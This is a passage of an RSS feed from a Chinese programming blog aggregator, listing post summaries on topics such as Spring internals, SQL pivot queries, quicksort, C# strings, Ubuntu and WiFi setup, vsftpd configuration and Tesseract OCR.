      <guid>https://bchobby.github.io/posts/5b50ce06460f5a85e770913d525a6d11/</guid>
      <description>数据库user表数据 SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for user -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, `key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, `value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of user -- ---------------------------- INSERT INTO `user` VALUES (&#39;kkl&#39;, &#39;name&#39;, &#39;kkl&#39;); INSERT INTO `user` VALUES (&#39;hsl&#39;, &#39;age&#39;, &#39;12&#39;); INSERT INTO `user` VALUES (&#39;hsl&#39;, &#39;sex&#39;, &#39;boy&#39;); INSERT INTO `user` VALUES (&#39;hsl&#39;, &#39;name&#39;, &#39;hsl&#39;); INSERT INTO `user` VALUES (&#39;kkl&#39;, &#39;age&#39;, &#39;27&#39;); INSERT INTO `user` VALUES (&#39;kkl&#39;, &#39;sex&#39;, &#39;boy&#39;); SET FOREIGN_KEY_CHECKS = 1; 执行的SQL -- SELECT username,group_concat(`key`) AS `keys`,group_concat(`value`) AS `values` FROM `user` GROUP BY username -- SELECT DISTINCT `key` FROM `user` -- SELECT DISTINCT -- username, -- ( CASE WHEN `key` = &#34;</description>
    </item>
    <item>
      <title>Spring IOC 后置处理器</title>
      <link>https://bchobby.github.io/posts/1ee9dcd3e6b0a4804094f98a2ec20de2/</link>
      <pubDate>Wed, 21 Sep 2022 15:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ee9dcd3e6b0a4804094f98a2ec20de2/</guid>
      <description>#博学谷IT学习技术支持#&#xA;文章目录 简介postProcessBeanFactory方法invokeBeanFactoryPostProcessors方法PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors registerBeanPostProcessors 简介 之前的章节，看了AbstractApplicationContext的refresh()中的beanDefinitions创建过程和beanFactory的准备工作。这一章节，我们一起来看下一些后置处理器。&#xA;后置处理器大家应该都听说过，Spring框架中，很多的自定义扩展都是使用后置处理器来实现的。&#xA;首先来看下后置处理有哪些：&#xA;重要分为两大类：&#xA;1.BeanFactoryPostProcessor：与BeanFactory相关的后置处理器。这个接口只有一个方法postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory)，会传入beanFactory,可以针对于beanFactory做一些操作。下面会有BeanDefinitionRegistryPostProcessor，就是继承了BeanFactoryPostProcessor&#xA;2.BeanPostProcessor：与Bean相关的后置处理器。该接口有两个方法postProcessBeforeInitialization(Object bean, String beanName)和postProcessAfterInitialization(Object bean, String beanName)。&#xA;postProcessBeforeInitialization方法在创建Bean之前执行，postProcessAfterInitialization会在Bean创建后执行。实现这个接口的后置处理器，主要针对于Bean去做一些处理拓展工作。&#xA;postProcessBeanFactory方法 该方法在AbstractApplicationContext类型是空实现，交给子类来进行重写。该方法也是用于自定义处理BeanFactory的。&#xA;invokeBeanFactoryPostProcessors方法 调用BeanFactoryPostProcessor。看下代码&#xA;protected void invokeBeanFactoryPostProcessors(ConfigurableListableBeanFactory beanFactory) { // 调用BeanFactoryPostProcessor PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors(beanFactory, getBeanFactoryPostProcessors()); // 以下代码主要是判断是否需要加载时织入，需要的话添加LoadTimeWeaverAwareProcessor后置处理器和临时类加载器，这块代码暂时不做介绍。有兴趣的可以去查找下资料 if (!NativeDetector.inNativeImage() &amp;amp;&amp;amp; beanFactory.getTempClassLoader() == null &amp;amp;&amp;amp; beanFactory.containsBean(LOAD_TIME_WEAVER_BEAN_NAME)) { beanFactory.addBeanPostProcessor(new LoadTimeWeaverAwareProcessor(beanFactory)); beanFactory.setTempClassLoader(new ContextTypeMatchClassLoader(beanFactory.getBeanClassLoader())); } } PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors 方法内部看着代码比较多，但是逻辑性对比较单一，还是比较好理解的&#xA;public static void invokeBeanFactoryPostProcessors( ConfigurableListableBeanFactory beanFactory, List&amp;lt;BeanFactoryPostProcessor&amp;gt; beanFactoryPostProcessors) { Set&amp;lt;String&amp;gt; processedBeans = new HashSet&amp;lt;&amp;gt;(); // 判断beanFactory是否为 BeanDefinitionRegistry子类 if (beanFactory instanceof BeanDefinitionRegistry) { // 强转为BeanDefinitionRegistry BeanDefinitionRegistry registry = (BeanDefinitionRegistry) beanFactory; List&amp;lt;BeanFactoryPostProcessor&amp;gt; regularPostProcessors = new ArrayList&amp;lt;&amp;gt;(); List&amp;lt;BeanDefinitionRegistryPostProcessor&amp;gt; registryProcessors = new ArrayList&amp;lt;&amp;gt;(); // 遍历传递过来的beanFactoryPostProcessors for (BeanFactoryPostProcessor postProcessor : beanFactoryPostProcessors) { // 如果postProcessor是否BeanDefinitionRegistryPostProcessor接口子类的话 if (postProcessor instanceof BeanDefinitionRegistryPostProcessor) { // 强转为BeanDefinitionRegistryPostProcessor BeanDefinitionRegistryPostProcessor registryProcessor = (BeanDefinitionRegistryPostProcessor) postProcessor; // 调用 BeanDefinitionRegistryPostProcessor 后置处理器的postProcessBeanDefinitionRegistry方法 registryProcessor.</description>
    </item>
    <item>
      <title>Cesium 车辆跟踪事件气泡弹窗追随</title>
      <link>https://bchobby.github.io/posts/6e954d673de310787246a38bcf33a268/</link>
      <pubDate>Wed, 21 Sep 2022 12:14:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e954d673de310787246a38bcf33a268/</guid>
      <description>展示图： 功能思路： （1）设置创建时钟组件JulianDate，该时间组件很重要，不仅是用来追踪路线使用，还要监听每个时间点到达的坐标位置。&#xA;（2）气泡的实时根据坐标刷新，上一篇有说到，根据当前时间返回当前坐标值。&#xA;（3）鼠标左键监听事件换成了时钟帧数调用监听事件viewer.clock.onTick.addEventListener，根据路线图的每次的时间刻度调用实现气泡追踪。&#xA;部分代码： 创建path路线图&#xA;//路线参数 处理 var positionData = paramObj.data.Coordinates; Intervals = 0; //间隔时间 for (var i = 0; i &amp;lt; positionData.length; i++) { var time = Cesium.JulianDate.addSeconds(starttime, Intervals, new Cesium.JulianDate()); var data = positionData[i]; var position = Cesium.Cartesian3.fromDegrees(data.x, data.y, 20); property.addSample(time, position); Intervals += paramObj.setTime.multiplier; } var stoptime = Cesium.JulianDate.addSeconds(starttime, Intervals, new Cesium.JulianDate()); //总停止秒数 //时钟 设置 viewer.clock.startTime = starttime.clone(); viewer.clock.stopTime = stoptime.clone(); viewer.clock.currentTime = starttime.clone(); viewer.</description>
    </item>
    <item>
      <title>SpringBoot 配置多数据源并支持事务及其原理</title>
      <link>https://bchobby.github.io/posts/5149448aeba04df3d927d230872164c8/</link>
      <pubDate>Wed, 21 Sep 2022 11:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5149448aeba04df3d927d230872164c8/</guid>
      <description>在项目中，有时会遇到使用多个数据源的情况，并且需要支持事务。解决方式可以有以下几种：&#xA;对每个数据源手动配置orm框架（mybatis、jpa等）及事务管理器使用 dynamic-datasource-spring-boot-starter 配置动态数据源 这里以同时使用jpa和mybatis-plus两种orm框架操作不同数据源为例，分别介绍两种实现方式。&#xA;首先了解一下 spring 事务实现的方式 以 @Transactional 注解为例 (也可以看 TransactionTemplate， 这个流程更简单一点)。&#xA;入口：ProxyTransactionManagementConfiguration （从 config 类入手，需要哪些bean一目了然，然后直接顺着看下去就可以了）&#xA;主要有以下3个bean&#xA;TransactionAttributeSource：实现是 AnnotationTransactionAttributeSource， 提供从（存在 @Transactional 注解的）方法上读取事务的属性（注解的属性）的功能TransactionInterceptor：事务方法拦截器的bean，在执行事务方法时，转到 (TransactionAspectSupport#invokeWithinTransaction) 方法，即spring事务处理的主要逻辑。BeanFactoryTransactionAttributeSourceAdvisor：一个advisor（包含一个 Pointcut 切点和一个 Advice 通知），advice就是上面的事务拦截器，Pointcut 切点匹配能通过 TransactionAttributeSource 获取到事务信息的方法。 拦截器逻辑大概如下&#xA;在执行被拦截的事务方法中对数据进行crud时，orm框架会从 TransactionSynchronizationManager 中的 ThradLocal 获取 之前创建的 connection (DataSourceUtils)；&#xA;多数据源实现事务 每个数据源手动配置orm框架 这种方式是通过手动声明创建orm框架对应的bean来实现多数据源的操作，即每个数据源都自己手动创建一套对用的bean。&#xA;（其实如果使用的spring而不是springboot的话，就不会有这种多数据源的疑问，因为本来就要自己声明bean。）&#xA;依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-jpa&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 也可以直接依赖 mybatis-plus --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 复制代码 配置文件&#xA;datasource: test2: driverClassName: com.mysql.cj.jdbc.Driver jdbcUrl: jdbc:mysql://127.0.0.1:3306/test2?useSSL=true&amp;amp;maxAllowedPacket=16777216&amp;amp;pinGlobalTxToPhysicalConnection=true&amp;amp;nullNamePatternMatchesAll=true&amp;amp;autoReconnect=true&amp;amp;failOverReadOnly=false&amp;amp;useLegacyDatetimeCode=false&amp;amp;serverTimezone=Asia/Shanghai username: password: poolName: test2 test: driverClassName: com.</description>
    </item>
    <item>
      <title>力扣 第435题 无重叠区间</title>
      <link>https://bchobby.github.io/posts/fd18b797df6dabb06e42553245b19c07/</link>
      <pubDate>Wed, 21 Sep 2022 11:29:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd18b797df6dabb06e42553245b19c07/</guid>
      <description>题目：给定一个区间的集合 intervals ，其中 intervals[i] = [starti, endi] 。返回 需要移除区间的最小数量，使剩余区间互不重叠 。&#xA;如果右区间大，整体区间个数加一&#xA;如果右区间小，整取区间个数不便，改区间被吃掉&#xA;最后的结果是输入的长度减去整体区间数&#xA;力扣&#xA;这里面有个图解不错</description>
    </item>
    <item>
      <title>瘦客户机如何安装ubuntu-20.04-live-server-amd64</title>
      <link>https://bchobby.github.io/posts/3c01e207503d276f751a4cbbab075dea/</link>
      <pubDate>Wed, 21 Sep 2022 11:01:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c01e207503d276f751a4cbbab075dea/</guid>
      <description>一、下载ubuntu-20.04-live-server-amd64光盘&#xA;Get Ubuntu Server | Download | Ubuntu&#xA;二、制作U盘安装盘&#xA;手把手教你使用U盘安装Ubuntu系统_shanql的博客-CSDN博客_pe装ubuntu系统&#xA;三、安装前准备&#xA;1、瘦客户机连接网线，确保安装的时候，安装盘可以从官网更新网卡驱动，避免安装完成后无法使用网络的问题&#xA;2、将瘦客户机设置为U盘启动，从U盘开始安装ubuntu&#xA;四、安装ubuntu&#xA;五、安装SSH&#xA;如何在 Ubuntu 20.04 启用 SSH_雪梦科技的博客-CSDN博客_ubuntu20.04开启ssh&#xA;后面就可以通过有线网络来远程登录和操作瘦客户机了&#xA;六、安装其他工具&#xA;1、ifconfig&#xA;七、安装无线WIFI&#xA;1、安装驱动&#xA;ubuntu20.04连接wifi_UchihaHanamichi的博客-CSDN博客_ubuntu20.04连接wifi&#xA;Ubuntu 20.04 无线网配置 - 知*行 - 博客园&#xA;通过命令 sudo apt-get install bcmwl-kernel-source ，安装Broadcom的无线网卡驱动&#xA;2、安装WPA2加密&#xA;Ubuntu20.04服务器连接WIFI设置_wzp年轻人的博客-CSDN博客_ubuntu wifi设置&#xA;sudo apt-get install wpasupplicant -y&#xA;sudo apt-get install network-manager -y&#xA;3、搜索wifi，并配置密码&#xA;sudo service network-manager restart&#xA;sudo nmcli dev wifi&#xA;sudo nmcli dev wifi connect &#39;360WiFi-89D2D1&#39; password &#39;12345678&#39;</description>
    </item>
    <item>
      <title>快速排序算法C&#43;&#43;实现（超详细解析！！！！）</title>
      <link>https://bchobby.github.io/posts/07efe84c4b71344e99e0cd85413e53ea/</link>
      <pubDate>Wed, 21 Sep 2022 10:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07efe84c4b71344e99e0cd85413e53ea/</guid>
      <description>目录&#xA;一、前言&#xA;（1）分治算法&#xA;（2）分治算法解题方法&#xA;1.分解：&#xA;2.治理：&#xA;3.合并：&#xA;二、快速排序&#xA;1.问题分析&#xA;2.算法设计&#xA;（1）分解：&#xA;（2）治理 ：&#xA;（3）合并：&#xA;（4）基准元素的选取：&#xA;3.算法分析&#xA;三、AC代码&#xA;四、共勉&#xA;一、前言 （1）分治算法 快速排序，其实是一种分治算法，那么在了解快速排序之前，我们先来看看什么是分治算法。在算法设计中，我们引入分而治之的策略，称为分治算法，其本质就是将一个大规模的问题分解为若干个规模较小的相同子问题，分而治之。&#xA;（2）分治算法解题方法 1.分解： 将要解决的问题分解为若干个规模较小、相互独立、与原问题形式相同的子问题。&#xA;2.治理： 求解各个子问题。由于各个子问题与原问题形式相同，只是规模较小而已，而当子问题划分得足够小时，就可以用简单的方法解决。&#xA;3.合并： 按原问题的要求，将子问题的解逐层合并构成原问题的解。&#xA;二、快速排序 1.问题分析 快速排序是比较快的排序方法。它的基本思想是通过一组排序将要排序的数据分割成独立的两部分，其中一部分的所有数据都比另外一部分的所有数据小，然后再按此方法对这两部分数据进行快速排序，整个排序过程可以递归进行，以此使所有数据变成有序序列。&#xA;2.算法设计 （1）分解： 先从数列中取出一个元素作为基准元素。一基准元素为标准，将问题分解为两个子序列，使小于或者等于基准元素的子序列在左侧，使大于基准元素的子序列在右侧。&#xA;（2）治理 ： 对两个子序列进行快速排序（递归快速排序）。&#xA;（3）合并： 将排好的两个子序列合并在一起，得到原问题的解。&#xA;（4）基准元素的选取： ①：取第一个元素。(通常选取第一个元素)&#xA;②：取最后一个元素&#xA;③：取中间位置的元素&#xA;④：取第一个、最后一个、中间位置元素三者之中位数&#xA;⑤：取第一个和最后一个之间位置的随机数 k (low&amp;lt;=k&amp;lt;=hight)&#xA;3.算法分析 假设当前的待排序的序列为 R[low,hight] ， 其中 low&amp;lt;=hight。同时选取首元素为基准元素。&#xA;步骤一：选取首元素的第一个元素作为基准元素 pivot=R[low] ，i=low ，j=hight。&#xA;步骤二：从右向左扫描，找到小于等于 pivot 的数，如果找到，R[i] 和 R[j] 交换 ，i++。&#xA;步骤三：从左向右扫描，找到大于 pivot 的数，如果找到，R[i] 和 R[j] 交换，j--。</description>
    </item>
    <item>
      <title>C#基础入门教程-字符串（String）</title>
      <link>https://bchobby.github.io/posts/0d5f0941a7c601526b021b341e5a5d1b/</link>
      <pubDate>Wed, 21 Sep 2022 10:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d5f0941a7c601526b021b341e5a5d1b/</guid>
      <description>目录&#xA;C#字符串（String）&#xA;创建 String 对象&#xA;实例练习&#xA;String 类的属性&#xA;String 类的方法&#xA;比较字符串实例练习&#xA;字符串包含字符串实例练习&#xA;获取子字符串实例练习&#xA;连接字符串实例练习&#xA;C#字符串（String） 在 C# 中，您可以使用字符数组来表示字符串，但是，更常见的做法是使用 string 关键字来声明一个字符串变量。string 关键字是 System.String类的别名。&#xA;创建 String 对象 您可以使用以下方法之一来创建 string 对象：&#xA;通过给 String 变量指定一个字符串通过使用 String 类构造函数通过使用字符串串联运算符（ + ）通过检索属性或调用一个返回字符串的方法通过格式化方法来转换一个值或对象为它的字符串表示形式 下面的实例演示了这点：&#xA;实例练习 using System; namespace StringApplication { class Program { static void Main(string[] args) { //字符串，字符串连接 string fname, lname; fname = &#34;Rowan&#34;; lname = &#34;Atkinson&#34;; string fullname = fname + lname; Console.WriteLine(&#34;Full Name: {0}&#34;, fullname); //通过使用 string 构造函数 char[] letters = { &#39;H&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;,&#39;o&#39; }; string greetings = new string(letters); Console.</description>
    </item>
    <item>
      <title>vsftpd 服务配置</title>
      <link>https://bchobby.github.io/posts/92f1deb228aa4eb40fb0071e32d66a04/</link>
      <pubDate>Wed, 21 Sep 2022 08:33:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92f1deb228aa4eb40fb0071e32d66a04/</guid>
      <description>修改配置文件: /etc/vsftpd/vsftpd.conf&#xA;1.关闭匿名登录&#xA;anonymous_enable=YES&#xA;修改为：&#xA;anonymous_enable=NO&#xA;2. 将此行放开&#xA;#nopriv_user=ftpsecure&#xA;修改为：&#xA;#nopriv_user=ftpsecure&#xA;将ftpsecure 修改为系统中存在的用户&#xA;3. 在配置文件最后端口号等配置&#xA;listen_port=6000 connect_timeout=120 pasv_enable=YES pasv_min_port=20000 pasv_max_port=21000 reverse_lookup_enable=NO 4. 重启vsftp服务：service vsftpd restart&#xA;登录测试命令: ftp host_ip 6000</description>
    </item>
    <item>
      <title>STM32下位机程序的逻辑写法思路</title>
      <link>https://bchobby.github.io/posts/d55759877e13971ba06291c9e3d2c589/</link>
      <pubDate>Wed, 21 Sep 2022 00:43:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d55759877e13971ba06291c9e3d2c589/</guid>
      <description>经过一段时间的学习，现在需要对具体的项目进行程序开发，程序东一下西一下的修改来修改去肯定是乱七八糟的，总结了下面的思维逻辑进行项目的开发，如有不正确的地方，欢迎指导讨论。&#xA;第一步，规划程序通讯协议。&#xA;第二步，构建标志位结构体&#xA;第三步，构建对象结构体&#xA;第四步，构建功能函数&#xA;第一步，规划程序通讯协议&#xA;对于所需要开发的项目，都是有需要具体实现的功能，这些功能在STM32中基本都使用各种通讯总线的方式被控制或去控制。&#xA;所以按照功能实现，首先规划通讯协议的功能指令，无论是串口，CAN，SPI,i2c等，应有一套常用的通讯协议架构来实现控制与数据传递。&#xA;我现在常用的结构如下：&#xA;帧头-&amp;gt;功能码-&amp;gt;控制码-&amp;gt;数据长度-&amp;gt;数据流-&amp;gt;帧尾&#xA;以上结构并没有使用crc校验或者累加和校验，因为我感觉普通的项目应用已经足够，目前在用的程序中反复测试并没有问题。&#xA;所以关于这里哪些大佬有经验分享一下不使用校验会存在那些问题？&#xA;通讯协议的结构套用之后，对项目或设备所需要实现的哪些功能进行规划，假定为一个字节的控制码，比如：&#xA;0x01：功能A&#xA;0x02: 功能B&#xA;0x03: 功能C&#xA;0x04: 功能D&#xA;0x05: 功能E&#xA;随后在不同的功能码中，可以传递不同的控制码和数据流。&#xA;相对于下位机的上位机，只需要根据通讯协议就可以控制并且传递数据到下位机，如使用CAN总线甚至可以将硬件模块化，每一个硬件模块通过通讯协议可以独立工作，避免二次开发或移植。&#xA;第二步，构建运行标志位&#xA;将通讯协议中的功能运行的状态，使用标志位进行结构体封装，这样会有利于程序的逻辑与线程管理。&#xA;假设&#xA;功能A: A电机运行1分钟&#xA;功能B: 如A电机不在运行时,点亮led。&#xA;这个时候应该将电机的运行状态在状态结构体中进行定义，运行的时候为1，停止的时候为0。&#xA;这样我们在程序中的任何位置可以对标志位进行判断，从而实现其它功能或者逻辑执行。&#xA;第三步，构建对象结构体&#xA;我学写代码是从Python开始的，STM32我使用c开发，对我来说一下子上升了N个难度系数，相较而言这简直就是机器码。各种思维都是流程化的，不是对象化的。&#xA;面向对象和面向过程我就不说了，我都理解也很浅，Python的各种库各种类的那种代码思维在这里不管用。&#xA;直到我接触到了结构体，把需要功能的数据抽象化放到一个结构体里，可以有效的使得功能变得对象化，我也不知道怎么专业的形容，反正就是好用。&#xA;比如一个步进电机，我们需要的参数如下：&#xA;速度：&#xA;状态：&#xA;加速数组[]：&#xA;方向：&#xA;脉冲：&#xA;实际会比这里需要更多一些的变量，但意思就是这是些关于电机的结构体数据，他是抽象的，可复制的。我理解，这不就是对象么？&#xA;第四部：构建功能函数&#xA;接下来最难的地方我认为就是一个个功能函数，协议有了，标志位有了，结构体有了，然后就是实现了。&#xA;每一个对象功能封装到一个.c和.h文件中，将大问题拆散为一个个小问题，比如通讯协议其中一条命令，让步进电机转一圈，那么这个函数归类到电机的c文件中，使用gpio或者定时器等资源，外部调用进来。&#xA;最后，通讯协议中的功能码控制码引入调用这些函数，实现相应的功能。至于函数内的一些实现逻辑与算法，那就看各个不同的人的造化了。&#xA;欢迎交流，菜的一地，不喜勿喷。</description>
    </item>
    <item>
      <title>【python文字识别OCR】</title>
      <link>https://bchobby.github.io/posts/5ff0dcae8059a608af7c638689326b0d/</link>
      <pubDate>Tue, 20 Sep 2022 20:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ff0dcae8059a608af7c638689326b0d/</guid>
      <description>问题 python实现文字识别&#xA;方法 tesseract-OCR方法，没有环境限制，pytorch还是tensorflow都可以用&#xA;步骤 1. 下载 tesseract-ocr 的exe文件 文件名称：tesseract-ocr-w64-setup-v4.1.0.20190314.exe（根据自己电脑位数下载）&#xA;链接：https://digi.bib.uni-mannheim.de/tesseract/&#xA;2. 双击安装 tesseract-ocr.exe 文件 中途安装需要在select components时，add language （最后一行小加号）中选中所有Chinese开头的四个中文包，然后一直点击确认安装&#xA;3. 安装需要的包 在python环境中安装两个包：&#xA;pip install pytesseract&#xA;pip install Pillow&#xA;4.识别代码 import pytesseract as pt from PIL import Image &#39;&#39;&#39; 识别中文的代码 &#39;&#39;&#39; # 刚才安装tesseract-ocr的tesseract.exe的路径 path = r&#39;~/Tesseract-OCR/tesseract.exe&#39; pt.pytesseract.tesseract_cmd = path img = Image.open(&#39;9999.png&#39;) text = pt.image_to_string(img, lang=&#39;chi_sim&#39;).strip() print(text) # =================================================== &#39;&#39;&#39; 识别英文的代码 &#39;&#39;&#39; path = r&#39;~/Tesseract-OCR/tesseract.exe&#39; pt.pytesseract.tesseract_cmd = path img = Image.</description>
    </item>
    <item>
      <title>【消除Python文字识别时的空格小方框】</title>
      <link>https://bchobby.github.io/posts/9443c80c6a63c91763c7e5df270691cf/</link>
      <pubDate>Tue, 20 Sep 2022 20:00:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9443c80c6a63c91763c7e5df270691cf/</guid>
      <description> 问题 使用tesseract进行图像内文字识别时出现多余小方框&#xA;小方框是其实是多余的空格&#xA;解决 google搜索：python trim whitespace使用：s = s.strip() 方法即可消除 </description>
    </item>
    <item>
      <title>最新PHP开发H5即时TX源码&#43;App封装</title>
      <link>https://bchobby.github.io/posts/50fb188759692424e2dc459ee8d92cbf/</link>
      <pubDate>Tue, 20 Sep 2022 17:47:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50fb188759692424e2dc459ee8d92cbf/</guid>
      <description>正文: 介绍图有点模糊，但是不影响， PHP开发H5即时TX源码+App封装，这是一款功能非常强大的TX系统，而且程序也比较轻量级，只有10多MB左右，关于功能方面大家自测吧，没有搭建教程。&#xA;下载方式:&#xA;lanzou.com/in8fe03byr0b</description>
    </item>
    <item>
      <title>Python 无法加载文件 E:\PythonPro\python-pyqt5\venv\Scripts\Activate.ps1</title>
      <link>https://bchobby.github.io/posts/c08af6ceaf229d44d0fcbc736ad65495/</link>
      <pubDate>Tue, 20 Sep 2022 17:11:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c08af6ceaf229d44d0fcbc736ad65495/</guid>
      <description>PyCharm 打开终端出现 无法加载文件 E:\PythonPro\python-pyqt5\venv\Scripts\Activate.ps1 错误信息（如下图所示）&#xA;【解决方案】&#xA;1、首先用管理员模式运行 Windows PowerShell ， 然后输入get-ExecutionPolicy 取得shell的当前执行策略，看到返回了 Restricted 默认值&#xA;再执行 set-ExecutionPolicy RemoteSigned 进行重新设置 , 在询问栏填写 Y ，确定执行&#xA;在通过get-ExecutionPolicy 取得shell的当前执行策略，看到返回了RemoteSigned，说明配置OK了！&#xA;PyCharm 再次打开终端，发现问题已经解决！~</description>
    </item>
    <item>
      <title>c#:截取字符串长度</title>
      <link>https://bchobby.github.io/posts/0e7060495e74e5841ffb063bdb368c44/</link>
      <pubDate>Tue, 20 Sep 2022 17:09:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e7060495e74e5841ffb063bdb368c44/</guid>
      <description> c#:截取字符串长度 方法一：利用数组方式进行截取&#xA;string str1 = “abcdefg”; string str2 = &#34;&#34; + str1[0] + str1[1];//获取前两位字符，并组成新的str2字符串 方法二：利用substringz字符串截取&#xA;str.substring(int startIndex,int length)&#xA;//str是字符串变量名，substring是截取方法，startIndex截取的起始字符，length是截取长度&#xA;string str1=&#34;abcdegf&#34;; string str2=str1.substring(0,2);//截取str1的1前两个字符 方法三：利用字符串取反remove，实现从后往前的获取字符串&#xA;string str1=&#34;abcdegf&#34;; string str2=str1.remove(0,2);//先让字符串str1倒置，然后取前两位，相当于str1的后两位 </description>
    </item>
    <item>
      <title>[UVM]config_db机制（set和get函数）</title>
      <link>https://bchobby.github.io/posts/ca04e884ae56d319d019bdfd9a821f47/</link>
      <pubDate>Tue, 20 Sep 2022 10:39:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca04e884ae56d319d019bdfd9a821f47/</guid>
      <description> uvm_config机制 在UVM中，参数的传递依赖于config_db机制以下两个函数&#xA;set函数是用来发送需要传递的参数get函数是用来接收需要传递的参数 针对uvm验证环境，一般使用uvm_config机制来传递的资源&#xA;uvm_config_db#(T)::set(cntxt,inst_name,field_name,value); uvm_config_db#(T)::get(cntxt,inst_name,field_name,value); uvm_config_db uvm_config_db#(T)::set(cntxt,inst_name,field_name,value); uvm_config_db#(T)::get(cntxt,inst_name,field_name,value); 参数T是指传递参数的类型，可以是vulture interface、sequencer等&#xA;get 函数 源码分析 static function void get(&#x9;uvm_component cntxt, string inst_name, string field_name, T value&#x9;) 参数解析 获取 inst_name 中 field_name 的值，使用组件 cntxt 作为起始搜索点。 inst_name 是相对于 cntxt 的显式实例名称，如果 cntxt 是配置对象适用的实例，则可能是空字符串。 field_name 是要搜索的范围内的特定字段。&#xA;set 函数 源码 static function void set(&#x9;uvm_component cntxt, string inst_name, string field_name, T value&#x9;) 参数解析 为 cntxt 中的 inst_name 中的 field_name 创建新的或更新现有的配置设置。&#xA;如源码所示，set函数具有四个参数：&#xA;cntxt和inst_name一起定义了uvm_config_db中set或get函数的作用范围完整的范围为{cntxt,“.”,inst_name}，如果cntxt是null，则inst_name需要提供完整范围信息field_name是目标字段 </description>
    </item>
    <item>
      <title>C#从入门到精通</title>
      <link>https://bchobby.github.io/posts/1cb61a00d6963139419e6b1d8fa1f6d9/</link>
      <pubDate>Tue, 20 Sep 2022 10:12:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cb61a00d6963139419e6b1d8fa1f6d9/</guid>
      <description>C#从入门到精通&#xA;第一篇基础知识&#xA;第一章 初始C#及其开发环境&#xA;1.1 C#概述&#xA;1.1.1 C#语言及其特点&#xA;1.1.2 初始.Net Framwwork&#xA;1.1.3 C#与.NET框架&#xA;1.1.4 C#的应用领域&#xA;1.2 安装与卸载Visual studio 2017&#xA;1.2.1 安装Visual studio 2017必备条件&#xA;1.2.2 安装Visual studio 2017&#xA;1.2.3 卸载Visual studio 2017&#xA;1.3 熟悉Visual studio 2017开发环境&#xA;1.3.1 创建项目&#xA;1.3.2 菜单栏&#xA;1.3.3 工具栏&#xA;1.3.4 “解决方案资源管理器”窗口&#xA;1.3.5 “工具栏”窗口&#xA;1.3.6 “属性”窗口&#xA;1.3.7 “错误列表”窗口&#xA;1.4 小结&#xA;第二章 开始C#之旅&#xA;2.1 创建第一个C#程序&#xA;2.2 初始C#程序结构&#xA;2.2.1 命名空间&#xA;2.2.2 类&#xA;2.2.3 Main()方法&#xA;2.2.4 标识符及关键字&#xA;2.2.5 C#语句&#xA;2.3 程序编写规范</description>
    </item>
    <item>
      <title>Required String parameter ‘xxx‘ is not present 错误解决</title>
      <link>https://bchobby.github.io/posts/b1ee04a35e535913d1cc9f0bb3811c26/</link>
      <pubDate>Tue, 20 Sep 2022 09:51:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1ee04a35e535913d1cc9f0bb3811c26/</guid>
      <description> 问题是这样的：&#xA;我和后端调接口，发现我传的参数和后端那边的是一样的，可是一直报错说参数不存在，&#xA;CSDN找了好久，发现是我把headers写错了，虽然接口文档写的是&#xA;&#34;application/json&#34; 我想当然地写成了&#xA;headers: { &#39;content-type&#39;: &#39;application/json&#39; }, 正确的写法是&#xA;headers: { &#39;content-type&#39;: &#39;application/x-www-form-urlencoded&#39; }, 而且！！！data也需要设置一下stringfy！！！&#xA;最后的最后，成功了！写法是这样的 export function setIgnore(data) { return request({ url: &#39;接口地址&#39;, headers: { &#39;content-type&#39;: &#39;application/x-www-form-urlencoded&#39; }, method: &#39;post&#39;, data: qs.stringify(data) }) } 拜托了不要再踩坑了！ </description>
    </item>
    <item>
      <title>python语言及其应用（赵广辉编）第三章基本数据类型运算练习（以下非标准答案，仅供参考）</title>
      <link>https://bchobby.github.io/posts/8686f383829a8e41738d786af15ecfd6/</link>
      <pubDate>Mon, 19 Sep 2022 17:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8686f383829a8e41738d786af15ecfd6/</guid>
